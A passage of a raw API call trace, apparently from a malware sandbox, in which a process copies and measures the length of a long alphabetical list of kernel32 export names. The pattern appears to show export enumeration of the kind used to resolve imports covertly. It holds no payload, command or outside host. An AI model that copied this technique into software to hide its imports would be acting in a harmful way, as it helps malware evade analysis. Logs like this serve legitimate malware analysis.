lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0122.651] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0122.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0122.651] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0122.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0122.651] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0122.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0122.651] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0122.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0122.651] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0122.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0122.651] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0122.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0122.652] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0122.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0122.652] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0122.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0122.652] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0122.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0122.652] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0122.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0122.652] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0122.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0122.652] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0122.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0122.652] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0122.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0122.652] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0122.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0122.652] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0122.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0122.652] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0122.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0122.652] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0122.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0122.652] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0122.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0122.652] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0122.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0122.652] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0122.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0122.652] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0122.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0122.652] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0122.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0122.653] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0122.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0122.653] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0122.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0122.653] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0122.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0122.653] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0122.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0122.653] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0122.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0122.653] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0122.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0122.653] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0122.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0122.653] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0122.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0122.653] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0122.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0122.653] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0122.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0122.653] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0122.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0122.653] lstrlenA (lpString="BEEP") returned 4 [0122.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0122.653] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0122.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0122.653] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0122.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0122.653] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0122.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0122.653] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0122.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0122.653] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0122.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0122.654] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0122.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0122.654] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0122.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0122.654] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0122.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0122.654] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0122.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0122.654] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0122.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0122.654] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0122.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0122.654] lstrlenA (lpString="CANCELIO") returned 8 [0122.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0122.654] lstrlenA (lpString="CANCELIOEX") returned 10 [0122.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0122.654] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0122.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0122.654] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0122.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0122.654] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0122.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0122.654] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0122.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0122.654] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0122.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0122.654] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0122.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0122.654] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0122.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0122.654] lstrlenA (lpString="CHECKELEVATION") returned 14 [0122.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0122.655] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0122.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0122.655] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0122.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0122.655] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0122.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0122.655] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0122.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0122.655] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0122.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0122.655] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0122.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0122.655] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0122.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0122.655] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0122.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0122.655] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0122.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0122.655] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0122.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0122.655] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0122.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0122.655] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0122.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0122.655] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0122.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0122.655] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0122.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0122.655] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0122.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0122.655] lstrlenA (lpString="CLOSESTATE") returned 10 [0122.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0122.655] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0122.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0122.656] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0122.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0122.656] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0122.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0122.656] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0122.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0122.656] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0122.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0122.656] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0122.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0122.656] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0122.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0122.656] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0122.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0122.656] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0122.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0122.656] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0122.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0122.656] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0122.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0122.656] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0122.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0122.656] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0122.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0122.656] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0122.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0122.656] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0122.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0122.656] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0122.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0122.656] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0122.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0122.656] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0122.657] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0122.657] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0122.657] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0122.657] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0122.657] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0122.657] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0122.657] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0122.657] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0122.657] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0122.657] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0122.657] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0122.657] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0122.657] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0122.657] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0122.657] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0122.657] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0122.657] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0122.657] lstrlenA (lpString="COPYCONTEXT") returned 11 [0122.657] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0122.657] lstrlenA (lpString="COPYFILE2") returned 9 [0122.658] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0122.658] lstrlenA (lpString="COPYFILEA") returned 9 [0122.658] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0122.658] lstrlenA (lpString="COPYFILEEXA") returned 11 [0122.658] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0122.658] lstrlenA (lpString="COPYFILEEXW") returned 11 [0122.658] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0122.658] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0122.658] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0122.658] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0122.658] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0122.658] lstrlenA (lpString="COPYFILEW") returned 9 [0122.658] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0122.658] lstrlenA (lpString="COPYLZFILE") returned 10 [0122.658] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0122.658] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0122.658] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0122.658] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0122.658] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0122.658] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0122.658] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0122.658] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0122.658] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0122.658] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0122.658] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0122.658] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0122.658] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0122.658] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0122.658] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0122.658] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0122.658] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0122.658] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0122.658] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0122.659] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0122.659] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0122.659] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0122.659] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0122.659] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0122.659] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0122.659] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0122.659] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0122.659] lstrlenA (lpString="CREATEEVENTA") returned 12 [0122.659] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0122.659] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0122.659] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0122.659] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0122.659] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0122.659] lstrlenA (lpString="CREATEEVENTW") returned 12 [0122.659] lstrcpyA (in: 